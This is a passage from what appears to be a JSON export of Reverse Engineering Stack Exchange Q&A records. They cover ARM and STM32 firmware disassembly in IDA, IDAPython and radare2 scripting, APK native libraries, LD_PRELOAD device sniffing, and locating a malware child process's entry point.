\"magic\" in the NT Optional Header\n\"NE\" indicates the image is a 16-bit Windows executable\n\"LE\" indicates the image is a 16-bit Virtual Device Driver (VXD)\n</code></pre></li>\n</ol>\n"
    },
    {
        "Id": "13011",
        "CreationDate": "2016-07-08T07:31:45.167",
        "Body": "<p>In the following code, I injected my own instructions to modify third param of <code>sprintf()</code> function, but the process stopped at EXC_BAD_INSTRUCTION. Can anybody tell me what happened in my code?</p>\n\n<pre><code>0x144502 &lt;+6&gt;:  movw   r0, #0xc70       ; injected code start here\n0x144506 &lt;+10&gt;: movt   r0, #0x8bb3\n0x14450a &lt;+14&gt;: movw   r3, #0x576\n0x14450e &lt;+18&gt;: ldr    r1, [r7]\n0x144510 &lt;+20&gt;: movs   r5, #0x1a\n0x144512 &lt;+22&gt;: add    r5, pc           ; next instruction will jump over 9 instructions\n0x144514 &lt;+24&gt;: bx     r5               ; pc = 0x00144514\n                                        ; r5 = 0x00144530\n0x144516 &lt;+26&gt;: ldr    r1, [r0]\n0x144518 &lt;+28&gt;: ldr    r0, [r2]\n0x14451a &lt;+30&gt;: blx    0x29111c\n0x14451e &lt;+34&gt;: movw   r1, #0x6442\n0x144522 &lt;+38&gt;: movt   r1, #0x18\n0x144526 &lt;+42&gt;: add    r1, pc\n0x144528 &lt;+44&gt;: ldr    r1, [r1]\n0x14452a &lt;+46&gt;: blx    0x29111c\n0x14452e &lt;+50&gt;: mov    r3, r1\n0x144530 &lt;+52&gt;: movw   r1, #0x66a4      ; bx r5 landed here. But r1 has not been loaded\n0x144534 &lt;+56&gt;: movt   r1, #0x15        ; with new value. Why?\n0x144538 &lt;+60&gt;: mov    r2, r0\n0x14453a &lt;+62&gt;: add    r1, pc           ; this instruction never get called\n0x14453c &lt;+64&gt;: mov    r0, r4           ; EXC_BAD_INSTRUCTION raised here\n0x14453e &lt;+66&gt;: blx    __sprintf\n</code></pre>\n",
        "Title": "Injected instructions hit `bad instruction` exception",
        "Tags": "|assembly|arm|",
        "Answer": "<p>Looks like you forgot to set bit 0 of the destination address so the CPU switched to ARM mode and tried to execute Thumb instructions as ARM.</p>\n"
    },
    {
        "Id": "13013",
        "CreationDate": "2016-07-08T13:26:13.007",
        "Body": "<p>I have the STM32L151's firmware that I extracted via JTAG, but I cannot find a start point in IDA. I have tried two methods:</p>\n\n<p>1) I start IDA, drag the binary into the workspace, select ARM Little-endian for the processor type, click ok, the disassembly memory organization window appears, entered in relevant information found <a href=\"http://www.st.com/content/ccc/resource/technical/document/datasheet/66/71/4b/23/94/c3/42/c8/CD00277537.pdf/files/CD00277537.pdf/jcr:content/translations/en.CD00277537.pdf\" rel=\"nofollow\">here</a> on page 48, click ok, windows pops up saying \"IDA can not identify the entry point...\", in the workspace I see \"RAM:08000000        DCB [some hex number]\"</p>\n\n<p>2) Converted the binary to elf using my arm toolchain's objcopy, used \"readelf -h [my binary file]\" to find the entry point, got <a href=\"http://pastebin.com/55NPVDhh\" rel=\"nofollow\">this</a> output where the entry point is 0xff810000, dragged the elf into IDA's workspace, selected ARM Little-endian processor under processor type, clicked ok, and the workspace shows lines that look like \".data:0000002C        [several hex values separated by commas]\"</p>\n\n<p>If I try to jump to the entry point address (0xff810000 from readelf) I get an JumpAsk fail. How do I find my start point so I can start reading the disassembled ARM assembly code?</p>\n",
        "Title": "Reverse Engineer STM32L151's Firmware",
        "Tags": "|ida|firmware|entry-point|",
        "Answer": "<p>Get 4 bytes data from address 0x08000004 (at 0x08000000 is stack pointer address), there should be address to your reset handler. Even if internal bootloader will start, at the end it jumps to reset handler at that address.</p>\n"
    },
    {
        "Id": "13020",
        "CreationDate": "2016-07-11T16:59:05.480",
        "Body": "<p>I'm trying to see if the disassembly has two strings possibly within it. My string search algorithm starts from the first instruction MinEA() to the last MaxEA() and uses idc.FindText(.....,\"Bob\") to see if the string \"Bob\" for example is located. However, I'm trying to see if either \"Bob\" or \"Alice\" are in the disassembly. I could just loop from the beginning to the end twice using idc.FindText but that takes too much time. Is there a way I can loop through the disassembly only once and check if either of the strings are used? Thanks for any help.</p>\n",
        "Title": "Check for multiple strings in IDAPython",
        "Tags": "|ida|idapython|idapro-sdk|",
        "Answer": "<p>You could use regular expression:</p>\n\n<pre><code>idc.FindText(ea, idc.SEARCH_REGEX | idc.SEARCH_DOWN, y, x, \"Bob|Alice\")\n#                ^^^^^^^^^^^^^^^^                              ^\n</code></pre>\n\n<p>IDA Pro uses POSIX ERE syntax as described in <a href=\"https://www.hex-rays.com/products/ida/support/idadoc/578.shtml\" rel=\"nofollow\">https://www.hex-rays.com/products/ida/support/idadoc/578.shtml</a>.</p>\n"
    },
    {
        "Id": "13025",
        "CreationDate": "2016-07-12T16:00:40.650",
        "Body": "<p>I have been sorting through disassembled code for a couple of days and I have a few questions.</p>\n\n<p>Note: This is my first reverse engineering side project and I apologize if these are rather newbie questions...</p>\n\n<p>1) I wrote a simple program that blinks an LED on a STM32F4 board (this is not the board I am rev eng), compiled the code, and looked at the hex file in IDA. When in hex view, I saw some clear text like so:</p>\n\n<pre><code>..Q..&lt;...8pG../s\nystem/src/stm32f\n4-hal/stm32f4xx_\nhal_cortex.c....\n../system/src/st\nm32f4-hal/stm32f\n4xx_hal_gpio.c..\n................\n../system/src/st\nm32f4-hal/stm32f\n</code></pre>\n\n<p>When I look at my disassembled binary from the STM32L151 board in IDA's hex view, I do not seen any trace of readable characters. Does this mean the firmware was obfuscated (the programmed board sells for $60 so I wouldn't be surprised if it is)?</p>\n\n<p>2) IDA cannot recognize an entry point, so I am sifting though the disassembled file looking for anything interesting (like functions). I have programmed in assembly before, but <a href=\"http://pastebin.com/Mee1r5RP\" rel=\"nofollow\">the first line of the firmware</a> does not make any sense to me. It consists of consecutive STR operations... what is it storing? It pretty much did the same operation 50 times!? Additionally, it has the EQ condition but I don't see what it's comparing. The starting code that I linked is not unique to the board, the STM32F4 hex file started in a similar fashion. </p>\n\n<p>3) When I am looking over the disassembled firmware in \"IDA View-A\", I am hitting the down arrow follow by the \"C\" key to see the assembly code but some of the code stays as a DCB operation. Why is that? Example <a href=\"http://pastebin.com/7uM9P4WL\" rel=\"nofollow\">here</a>.</p>\n\n<p>4) Are there any guides dedicated to finding an entry point? I am getting overwhelmed by the sheer amount of assembly code. </p>\n",
        "Title": "Understanding STM32L151's disassembled firmware",
        "Tags": "|arm|",
        "Answer": "<p>You have two main issues here:</p>\n\n<p>1) the start of the firmware is data (<a href=\"https://embeddedfreak.wordpress.com/2009/08/07/cortex-m3-interrupt-vector-table/\" rel=\"nofollow\">Interrupt Vector Table</a>), not code<br>\n2) Cortex-M uses Thumb mode instructions and not classical ARM.</p>\n\n<p>Normally when you load an ARM binary file into IDA, you get this message:</p>\n\n<pre><code>---------------------------\nInformation\n---------------------------\n ARM AND THUMB MODE SWITCH INSTRUCTIONS\n\n This processor has two instruction encodings: ARM and THUMB.\n IDA allows to specify the encoding mode for every single instruction.\n For this IDA uses a virtual register T. If its value is zero, then\n the ARM mode is used, otherwise the THUMB mode is used.\n You can change the value of the register T using\n the 'change segment register value' command\n (the canonical hotkey is Alt-G)\n\n---------------------------\nOK   \n---------------------------\n</code></pre>\n\n<p>In your case the whole file is Thumb, so you can just set T to 1 at the top. Then you need to follow the second dword (the reset vector) to find the initial entrypoint. Ideally you should get something like:</p>\n\n<pre><code>ROM:00000000   DCD 0x200002F8\nROM:00000004   DCD _reset+1\n\n ROM:00001480 _reset                      \nROM:00001480    BIC.W   R1, SP, #7\nROM:00001484    MOV     R0, SP\nROM:00001486    MOV     SP, R1\nROM:00001488    PUSH    {R0,LR}\nROM:0000148A    MOVS    R2, #0\nROM:0000148C    LDR     R1, =0x20000000\nROM:0000148E    LDR.W   R12, =0x20000000\nROM:00001492    LDR     R0, =0x2440\nROM:00001494    B       loc_149C\nROM:00001496 ----------------------------\nROM:00001496    LDR     R3, [R0,R2]\nROM:00001498    STR     R3, [R1,R2]\nROM:0000149A    ADDS    R2, #4\nROM:0000149C\nROM:0000149C    ADD.W   R3, R1, R2\nROM:000014A0    CMP     R3, R12\nROM:000014A2    BCC     loc_1496\nROM:000014A4    LDR     R3, =0x20000000\nROM:000014A6    LDR     R1, =0x200001F8\nROM:000014A8    MOVS    R2, #0\nROM:000014AA    B       loc_14B0\nROM:000014AC ----------------------------\nROM:000014AC\nROM:000014AC    STR.W   R2, [R3],#4\nROM:000014B0\nROM:000014B0    CMP     R3, R1\nROM:000014B2    BCC     loc_14AC\nROM:000014B4    BL      sub_244\nROM:000014B4 ; End of function _reset\n</code></pre>\n"
    },
    {
        "Id": "13037",
        "CreationDate": "2016-07-14T19:23:38.107",
        "Body": "<p>I have been tracing through my binary and converting it to C code so I can understand it easily. As I am going through the instructions and functions, I keep stumbling upon code that don't make sense. \nFor example:</p>\n\n<pre><code>ROM:080004B8                 CMNNE.W         R4, #1\nROM:080004BC                 BEQ.W           loc_80007DE\n</code></pre>\n\n<p>This code will never branch.\nAnother example:</p>\n\n<pre><code>STRB.W          R0, [SP,#0x18+var_18] @ where var_18 is -0x18\n</code></pre>\n\n<p>Which is similar to indexing an array in C like this \"array[5-5]\". Why is this happening? Is this the disassembler? A form of obfuscated code that is trying to frustrate me? A poor compiler? </p>\n",
        "Title": "Nonsensical disassembled ARM instructions",
        "Tags": "|ida|arm|",
        "Answer": "<p>To expand on Rad Lexus' comment, which describes the situation very well but may not be understandable without an example:</p>\n\n<p>Within a function, the stack pointer, in most cases, isn't constant. It may change when parameters for a function/method/subroutine are pushed, when the programmer uses things like <code>alloca</code>, and for other reasons as well, depending on the compiler and processor.</p>\n\n<p>This makes tracking the position of arguments and local variables quite hard. For example, code like <code>f(i++)</code> may result in something like</p>\n\n<pre><code>mov r0, [sp, #8]     ; read the variable\nmov [sp], r0          ; put it on the argument stack\nsub sp, sp, #4        ; adjust the stack pointer\nadd r0, r0, #1        ; calculate the ++\nmov [sp, #12], r0    ; write back result\n</code></pre>\n\n<p>which is a version that makes the change to <code>sp</code> visible; normally, that change will be hidden in something like <code>stmfd sp!, {r0}</code></p>\n\n<p>In such cases, it's quite difficult to see that the \"read\" and \"write\" operations access the same address in memory while the <code>sp</code> value has changed.</p>\n\n<p>This is why decompilers like IDA assign names to those locations - as an example, let's assume in my example the variable is named <code>var_4</code> with a value of 4.</p>\n\n<p>Now IDA can emit</p>\n\n<pre><code>mov r0, [sp, var_4+#4]     ; read the variable\nmov [sp, var_4+#8], r0     ; write back result\n</code></pre>\n\n<p>with <code>var_4</code> hinting at \"the same variable\", and the <code>#4</code>/<code>#8</code> at the offset from <code>[sp]</code> that needs to be added to <code>var_4</code> in each of these cases.</p>\n"
    },
    {
        "Id": "13047",
        "CreationDate": "2016-07-16T14:46:23.363",
        "Body": "<p>I've start reversing some android application. I have a little experience in this subject, but i got stuck on a little matter.</p>\n\n<p>The app i'm trying to reverse uses <strong>JNI</strong> (java native interface), meaning some of the code is not java - it is assembly.. To my knowing, the native code should be somewhere in the <strong>classes.dex</strong> file too (together with the dalvik bytecode).</p>\n\n<p>My problem is that the tool i'm using that knows to convert the dex file into a java code (<strong>dex2jar</strong>) doesn't seem to know how to handle the native code inside the <strong>classes.dex</strong> file. So my questions are: Is there any tool that knows to do this conversion? If not, does someone have general knowledge about the whereabouts of native code in dex files (if it is there)?</p>\n",
        "Title": "reversing apk - getting native code in classes.dex",
        "Tags": "|android|apk|",
        "Answer": "<p>No, native code isn't in classes.dex. If an android apk file has native code, the apk itself, when unzipping, should have a <code>lib</code> subdirectory, which may have architecture-dependent subdirectories  <code>armeabi</code>. <code>armeabi-v7a</code>. <code>x86</code> and possibly others, and those will contain the native code objects. Sometimes, shared objects may be in other directories as well, especially if they belong to some libraries the application linked in.</p>\n\n<p>For example, i unzipped the apk of one application that i know to have native code:</p>\n\n<pre><code>$ unzip -l net.skoobe.reader-1.apk\n[ stuff omitted ]    \n     2291  2016-03-14 10:27   NDK_LICENSES\n    18549  2016-03-14 10:27   assets/www/error.js\n   345568  2016-03-14 10:27   assets/armeabi/lib64libcrittercism-v3.so\n   308716  2016-03-14 10:27   assets/armeabi-v7a/lib64libcrittercism-v3.so\n   345696  2016-03-14 10:27   assets/arm64-v8a/lib64libcrittercism-v3.so\n     5088  2016-03-14 10:25   lib/armeabi/librsjni.so\n  2890256  2016-03-14 10:26   lib/armeabi/libskoobe.so\n     5088  2016-03-14 10:25   lib/armeabi/libRSSupport.so\n  2792064  2016-03-14 10:26   lib/armeabi-v7a/libskoobe.so\n  4555592  2016-03-14 10:26   lib/x86/libskoobe.so\n    18560  2015-03-26 19:09   lib/armeabi-v7a/librsjni.so\n   420320  2015-03-26 19:09   lib/armeabi-v7a/libRSSupport.so\n    26636  2015-03-26 19:09   lib/x86/librsjni.so\n   518512  2015-03-26 19:09   lib/x86/libRSSupport.so\n   159719  2016-03-14 10:27   META-INF/MANIFEST.MF\n[ more stuff omitted ]    \n</code></pre>\n"
    },
    {
        "Id": "13050",
        "CreationDate": "2016-07-16T15:39:21.637",
        "Body": "<p>I have an an embedded Linux ARM board, where an application opens the <code>/dev/spidev1.0</code> device and constantly talks through with another MCU.\nNow, if I I try to look at what exchanges (that's what I'd need), doing\na hexdump <code>/dev/spidev1.0</code> shows something in the beginning but causes the application to crash. The app is very sensitive and I think it crashes because the app uses and it can't be used for viewing simultaneously.</p>\n\n<p>Would there be a way to create an alias, or something like a mirror of this device if I write some extra code/driver? Or is there no chance for me to sniff the traffic like that (in software) ?</p>\n\n<p>Rewrote: </p>\n\n<pre><code>int ioctl(int fd, unsigned long request, struct spi_ioc_transfer *xfer)\n</code></pre>\n\n<p>But, <code>gcc</code> output the following error:</p>\n\n<pre><code>myioctl.c:6:5: error: conflicting types for \u2018ioctl\u2019 In file included from myioctl.c:1:0: /usr/lib/gcc-cross/arm-linux-gnueabi/4.7/../../../../arm-linux-gnueabi/include/s\u200c\u200bys/ioctl.h:41:12: note: previous declaration of \u2018ioctl\u2019 was here\n</code></pre>\n\n<p>Any help how the original definition:</p>\n\n<pre><code>/* Perform the I/O control operation specified by REQUEST on FD.\n   One argument may follow; its presence and type depend on REQUEST.\n   Return value depends on REQUEST.  Usually -1 indicates error.  */\n\nextern int ioctl (int __fd, unsigned long int __request, ...) __THROW;\n</code></pre>\n\n<p>could be overridden.</p>\n",
        "Title": "SPI device sniffing/mirror feature",
        "Tags": "|spi|",
        "Answer": "<p>If this Linux distribution does support LD_PRELOAD you can easily use this feature to override opening/closing/reading/writing/ioctl-ing  functions to this specific device.\nSee here for very basic tutorial: <a href=\"http://www.catonmat.net/blog/simple-ld-preload-tutorial/\" rel=\"nofollow\">http://www.catonmat.net/blog/simple-ld-preload-tutorial/</a></p>\n\n<p>This will not require writing driver and pretty usable approach.\nIN addition you can try to use <a href=\"http://www.thegeekstuff.com/2011/11/strace-examples/\" rel=\"nofollow\">strace</a> utility to trace all IO system calls which will obviously include the accesses to your device. </p>\n"
    },
    {
        "Id": "13058",
        "CreationDate": "2016-07-17T12:51:36.963",
        "Body": "<p>I've been studying about clienthooks and made a simple program to be manipulated with dll injection</p>\n\n<pre><code>#include \"stdafx.h\"\n\ntypedef char greet_t[16];\ngreet_t greetings[] = {\n    \"Hello\",\n    \"Hi\",\n    \"Ahoy\",\n    \"Alas\",\n    \"Hallo\",\n    \"Ola\"\n};\n\nint greeter(char *name) {\n    printf_s(\"%s, %s!\\n\", greetings[rand() % ((int) sizeof(greetings) / (int) sizeof(greet_t))], name);\n    int rerun = strcmp(\"Gabriel\", name);\n    if (!rerun) printf_s(\"Have a nice day!\\n\");\n    return rerun;\n}\n\n\nint main() {\n    char name[64];\n    do {\n        scanf_s(\"%s\", name);\n    } while (greeter(name));\n\n\n    system(\"Pause\");\n    return 0;\n}\n</code></pre>\n\n<p>The idea is to detour the <code>greeter</code> function, except I can't find it's offset. Looking at it with IDA Pro it looks as if the function logic was thrown in the middle of the code as if there was no function call at all.</p>\n\n<pre><code>.text:004010B0                 lea     eax, [ebp+var_44]\n.text:004010B3                 push    eax\n.text:004010B4                 push    offset aS       ; \"%s\" (outside greeter())\n.text:004010B9                 call    sub_401050      ; calling scanf_s\n.text:004010BE                 add     esp, 8\n.text:004010C1                 lea     eax, [ebp+var_44]\n.text:004010C4                 push    eax\n.text:004010C5                 call    esi ; rand\n.text:004010C7                 cdq\n.text:004010C8                 idiv    edi\n.text:004010CA                 shl     edx, 4\n.text:004010CD                 add     edx, offset aHello ; \"Hello\"\n.text:004010D3                 push    edx\n.text:004010D4                 push    offset aSS      ; \"%s, %s!\\n\" (inside greeter())\n.text:004010D9                 call    sub_401020      ; calling printf_s\n</code></pre>\n\n<p>Reading the strings window, it says that all these strings are referenced on sub_401090, but this offset doesn't seem to be the one I'm looking for. What am I doing/reading wrong?</p>\n",
        "Title": "Problem finding correct offset in simple program with IDA Pro",
        "Tags": "|ida|function-hooking|",
        "Answer": "<p>It seems like your compiler has a <a href=\"http://www.greenend.org.uk/rjk/tech/inline.html\" rel=\"nofollow\">function inlining</a> optimization enabled. This means the code of a called function replaces the function call in the calling function, increasing the speed a bit as stack juggling and the call/ret instructions can be omitted.</p>\n\n<p>If you're compiling with <code>gcc</code>, use the <code>-O0</code> or the <code>-fno-inline</code> compiler flags (more details <a href=\"https://gcc.gnu.org/onlinedocs/gcc/Optimize-Options.html\" rel=\"nofollow\">here</a>, search for <code>inline</code>); for other compilers, consult the respective manual.</p>\n"
    },
    {
        "Id": "13061",
        "CreationDate": "2016-07-17T15:28:31.937",
        "Body": "<p>For example we have assembler variable \"foo\" defined as:</p>\n\n<pre><code>.text:00001078 foo      DCD 0xffffffff, 0xffffeeee\n</code></pre>\n\n<p>How it(variable <code>foo</code>) would look like in c++(or whatever higher lang)???</p>\n",
        "Title": "Reversing assembler DCD directive list into a c++ variable",
        "Tags": "|disassembly|assembly|c++|hexrays|",
        "Answer": "<p>Many possibilities.</p>\n\n<p><code>long long foo=0xffffffffffffeeee</code> (assuming big endian mode)</p>\n\n<p><code>long long foo=0xffffeeeeffffffff</code> (assuming big endian mode)</p>\n\n<p><code>int foo[2]={-1, -4370}</code></p>\n\n<p><code>short foo[4]={-1, -1, -1, -4370}</code></p>\n\n<p><code>char foo[16]=\"\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xee\\xee\\xee\\xee\"</code></p>\n\n<p><code>struct { int a, short b, short c } foo = { -1, -1, -4370 }</code> (and variations depending on endianness)</p>\n\n<p>You really can't determine the original type of initalized data without looking at the code that uses it.</p>\n"
    },
    {
        "Id": "13074",
        "CreationDate": "2016-07-18T12:37:25.893",
        "Body": "<p>I have been trying to reverse engineer .so file in android application.I used objdump from android ndk to look at the assembly of the file.I do not have a problem with assembly but analyzing the file statically is just so tedious.I am looking for a method to actually run the application on my phone and set break points and see how the registers and the stack are updated.</p>\n",
        "Title": "Debug android shared library interactivly",
        "Tags": "|android|",
        "Answer": "<p>If you can afford the paid version of IDA Pro, this is very easy:</p>\n\n<ul>\n<li>make sure your Windows, Linux or OSX Host is in the same network as your phone via WIFI</li>\n<li>start <code>android_server</code> on your phone</li>\n<li>use any tool to find out the WIFI ip of the phone</li>\n<li>after starting the application on your phone, load the .so in IDA, start the remote debugger, and connect to the IP you found out in step 3</li>\n</ul>\n"
    },
    {
        "Id": "13075",
        "CreationDate": "2016-07-18T13:55:18.867",
        "Body": "<p>Function \"Bob\" calls function \"Janice\". Currently, I'm at an address in function \"Janice\" and can easily do idc.GetFunctionName(ea) to get the name Janice. However, I also want to get the caller function Bob's name. How would I go about doing this efficiently considering I'm currently within function Janice? Thanks.</p>\n",
        "Title": "Finding function name of caller function",
        "Tags": "|ida|idapython|",
        "Answer": "<p>Generally speaking this question as it asked is a bit ambiguous.\nThe answer can be divided by 2 general parts, getting a caller in the debug session and determining the potential caller list during static analysis.</p>\n\n<p><strong>Getting a potential caller list during static analysis</strong></p>\n\n<p>As @blabb wrote in most cases it is possible and can be done with IDA scripting capabilities.</p>\n\n<p>Here is IDAPython example which will print all references to the callee (which is equivalent to press <kbd>x</kbd> on the callee name in IDA) assuming that your cursor is within the \"Janice\" function:</p>\n\n<pre><code>    import idautils\n    import idc\n    print \"Code references\"\n    for ref in idautils.CodeRefsTo(idc.GetFunctionAttr(idc.ScreenEA(), idc.FUNCATTR_START), 1):\n           print ref\n    print \"Data references\"\n    for ref in idautils.DataRefsTo(idc.GetFunctionAttr(idc.ScreenEA(), idc.FUNCATTR_START)):\n           print ref\n</code></pre>\n\n<p>Of course demangling should be applied to get a more human-readable name as @blabb wrote if needed.</p>\n\n<p>It should be taken in account that this script (exactly as the pressing <kbd>x</kbd> on the callee) does not solve the indirect call issue, but shows all references to the function which may help to trace the indirect call.</p>\n\n<p><strong>Getting a specific caller during a debug session</strong></p>\n\n<p>This is a bit trickier and much more architecture dependent (for example in ARM you have LR register with return address which will help you in most cases if you stopped at the start of \"Janice\" function and it is not contaminated yet), you'll need to</p>\n\n<ul>\n<li>Stop in the \"Janice\" function on the breakpoint</li>\n<li>Determine the placement of return address</li>\n<li>Conclude the specific caller from it</li>\n</ul>\n\n<p>The script which will do it is a bit more complex and unfortunately I have no time to debug it for now, \nso I'll just list the IDAPython APIs which will probably help you to solve the problem:</p>\n\n<pre><code>idaapi.get_func(ea) # get the function object of func_t type\nidaapi.get_frame(pfn) #gets the function frame structure of struc_t type\nidaapi.frame_off_retaddr(pfn) # AFAIK gets the offset of return address of the structure\n</code></pre>\n"
    },
    {
        "Id": "13076",
        "CreationDate": "2016-07-18T16:21:39.327",
        "Body": "<p>I used a script python from radare2-bindings to write a code analysing a binary file, i extracted the name , the start address and the size of each function , but i can't dump the hexa of each function , i am asking if there is a methode or python script in radare2 or another tool (capstone , miasm , angr ...)  to solve this problem .</p>\n\n<p>the script is : </p>\n\n<pre><code>    import sys\n    import sqlite3 as lite\n    try:\n        import os, signal\n        from r_core import *\n    except:\n        from r2.r_core import *\n\n    rc = RCore()\n    rc.file_open(\"/home/younes/Bureau/a.out\", 0, 0)\n    rc.bin_load(\"\", 0)\n\n    rc.anal_all()\n    funcs = rc.anal.get_fcns()\n    for f in funcs:\n        blocks = f.get_bbs()\n        print(\"+\" + (72 * \"-\"))\n        print(\"| FUNCTION: %s @ 0x%x\" % (f.name, f.addr))\n        print(\"| (%d blocks)\" % (len (blocks)))\n        print(\"+\" + (72 * \"-\"))\n        funcSize=0\n        for b in blocks:\n            end_byte = b.addr + b.size\n            cur_byte = b.addr\n            funcSize+=b.size\n\n        print(\"   | f.size:      0x%x\" %(funcSize))\n\n    os.kill (os.getpid (), signal.SIGTERM) \n</code></pre>\n",
        "Title": "How to DUMP the full hexa of each function extracted by analysis of binary file?",
        "Tags": "|python|radare2|capstone|",
        "Answer": "<p>Already resolved on github repository: <a href=\"https://github.com/radare/radare2-bindings/issues/130#issuecomment-233662221\" rel=\"nofollow\">https://github.com/radare/radare2-bindings/issues/130#issuecomment-233662221</a></p>\n\n\n\n<pre><code>import r2pipe\nimport sys\n\nr2 = r2pipe.open(sys.argv[1])\nr2.cmdj(\"aaa\") # http://radare.today/posts/analysis-by-default/\nfunction_list = r2.cmdj(\"aflj\") # Analysis Function List Json\n\nfor function in function_list:\n    print r2.cmdj(\"p8j\" + str(function[\"size\"])+ \" @ \" + function[\"name\"] ) # 8bit hexpair Json\n</code></pre>\n"
    },
    {
        "Id": "13100",
        "CreationDate": "2016-07-20T15:29:55.710",
        "Body": "<p>I'm trying to write some scripts that do some string searching through the disassembly in IDA. Currently, I loop through all the disassembly, MinEA() to MaxEA() and use idc.FindText() to see if a potential string is in the disassembly. Although this works, its very time consuming. I was wondering if there was a way I could just use an API method to get all the strings in IDAs string window. For example, I was able to get all the imports used in the import window by using idaapi.get_import_module_qty() and idaapi.enum_import_names(i, import_call_back). That's very fast and I can easily just check if something has been imported. Is there something similar that will allow me to get all the strings from the strings window? If not, is there a less time-consuming method of string searching that is possible? Thanks for any input.</p>\n",
        "Title": "How to get the list of strings within IDA's string window in my script?",
        "Tags": "|ida|idapython|",
        "Answer": "<p>I found a crude yet completely different solution without having to mess with Python 2.7 .  All with IDA GUI and with the help of side Regex</p>\n<ol>\n<li>Open desired file in IDA, let it load</li>\n<li>View -&gt; Open subviews -&gt; Strings</li>\n<li>Ctrl+A -&gt; Right-Click -&gt; Copy</li>\n<li>Paste data to some regex-supporting text editor (I use Notepad++)</li>\n<li>Go to find&amp;replace with regex (On Notepad++: Replace, search mode &quot;Regular expression&quot; with &quot;. matches newline&quot; UNticked):</li>\n</ol>\n<ul>\n<li>First, trim all &quot; &quot; before carriage return,\n<pre><code>___Find: \\x20\\x20+\\r\nReplace: \\r\n</code></pre>\n</li>\n<li>Then (as of Jan 2021) - in Notepad++ there is a bug, that makes it regex <code>^</code> match literal <code>\\r</code>. To work around it, you can do this: add a newline on the top (if you have the useless human readable headers on top, replace then with the newline). Count how many characters there are before the strings text begins (I had <strong>27</strong>), and then perform,\n<pre><code>___Find: \\n.{27}?\nReplace:        \n</code></pre>\n</li>\n</ul>\n<p><strong>Warning</strong>: if you have a different count of characters before the strings text begins, replace the number with yours!</p>\n<ol start=\"6\">\n<li>Finally, remove the first newline and your data is ready for work</li>\n</ol>\n"
    },
    {
        "Id": "13101",
        "CreationDate": "2016-07-20T19:47:33.777",
        "Body": "<p>I'm using IDA Pro 6.9 with some PowerPC disassembly. The code sets up <code>r13</code> to a value, say 0x10000, then offsets that register to load and store memory in that region. <code>r13</code> is never modified again in the code, it is only used for loading/storing data by offsetting.</p>\n\n<pre><code>e_stb     r7, -0x56E2(r13)\n</code></pre>\n\n<p>I'm hoping there is a way to tell IDA the value of r13 so that it will automatically generate a reference to the correct memory location so that I get something like:</p>\n\n<pre><code>e_stb     r7, -0x56E2(r13) # Named_Location\n</code></pre>\n\n<p>As well as the value at that location when I hover with the mouse.</p>\n\n<p>Update:<br>\nIgor Skochinsky gave what is the correct answer but didn't fix my specific problem. </p>\n\n<p>The answer seems to have worked anywhere r13 is used in an add instruction, <code>e_add16i r31, r13, -0x2DF2 # unk_4000ADE2</code> but is not working for direct relative load/store instructions, <code>e_stb r3, -0x2E08(r13)</code> (no variable name, offset in red).</p>\n\n<p>This might be a bug in IDA.</p>\n",
        "Title": "Set register to specific value for use in autoanalysis in IDA Pro 6.9",
        "Tags": "|ida|register|pointer|powerpc|",
        "Answer": "<p>Just set it in processor options.</p>\n\n<p><a href=\"https://i.stack.imgur.com/cKPIe.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/cKPIe.png\" alt=\"enter image description here\"></a></p>\n"
    },
    {
        "Id": "13108",
        "CreationDate": "2016-07-21T12:18:15.743",
        "Body": "<p>OK...I have a file which, upon execution, runs a copy of itself as a child process, with, obviously, different behaviors.  Since this (obviously) means that OllyDBG isn't going to be able to see what the child process is doing (I can attach to the child process, but I'll still miss everything between process creation and the time I debug), I need a way to start the initial executable, such that it exhibits the behaviors of the child process.  I ASSume that in order to get different behavior, the child process is being started with a different entry point than the parent process.  I've found the call to CreateProcessA, and I can see the options being pushed, but am not certain which, if any, of these options could be used to set a new/different entry point.</p>\n\n<p>A) Am I going about this all wrong?  Is there some other way that the child process is exhibiting different behaviors from the parent?</p>\n\n<p>B) If I'm not going about it all wrong, can someone help me out with finding where exactly I should set the entry point to run the process as though it was launched by the parent process?</p>\n\n<p>Thanks, in advance.</p>\n\n<p>Edit:\nI know about the \"debug child process\" option in OllyDbg2, but for whatever reason, it isn't working.  When the child process is created, it just runs on its own, with no new debug window opening.</p>\n",
        "Title": "Entry point of malicious child process",
        "Tags": "|ollydbg|debugging|malware|",
        "Answer": "<blockquote>\n  <p>I ASSume that in order to get different behavior, the child process is\n  being started with a different entry point than the parent process.</p>\n</blockquote>\n\n<p>Not necessarily. <a href=\"https://web.archive.org/web/20000302135620/http://www.siliconrealms.com/armadillo.htm\" rel=\"nofollow noreferrer\">Armadillo</a>'s parent-child-debugging scheme had the child process start with the same entrypoint as the parent process.</p>\n\n<p>However, these days we more commonly see \"process hollowing\" / \"dynamic forking\", where the entrypoints are indeed different. You can see <a href=\"https://reverseengineering.stackexchange.com/a/12512/1562\">Dump a child process created by malware with an ALTERNATIVE process hollowing process</a> for details on how to find the child process's entrypoint.</p>\n"
    },
    {
        "Id": "13110",
        "CreationDate": "2016-07-21T15:27:28.367",
        "Body": "<p>I wrote a simple program on my STM32F4 Disco MCU which only turns a LED on, and I am trying to RE my compiled binary. After decompiling the binary, I started my analysis at the first instruction set and treated it like a main function because it calls the other subroutines in the program. These subroutines are comparing, adding, subtracting, ... memory from addresses in the Flash, SRAM, or RAM. Example:</p>\n\n<pre><code>LDR             R1, =0x80003EC  // r1 = 0x80003EC\nLDR             R2, [R1]        // r2 = 0x80003EC\nLDR             R3, [R1,#4]     // r3 = 0x80003F0\nADD.W           R4, R1, #0xC    // r4 = *(0x8000404) + 12\nLDR             R0, [R1,#8]     // r0 = 0x80003F4\n</code></pre>\n\n<p>In the example above, the content of R1 (memory address 0x80003EC) is getting 12 added to it and stored in R4 but I have no idea what value resides in that memory address (0x80003EC)! The program continues to use the mysterious value stored at 0x80003EC. Example:</p>\n\n<pre><code>LSR             R0, R1     // r0 &lt;&lt; r1\n</code></pre>\n\n<p>The cycle of referencing unknown numbers keeps continuing. Without knowing the original value, there is no way to figure out the logic flow. All I see is mathematical operations to unknown numbers and flow control that is determined from the operations. </p>\n\n<p>How can a program like this be reverse engineered? \nIs there a way to view the original values of memory?</p>\n",
        "Title": "Understanding memory locations",
        "Tags": "|arm|",
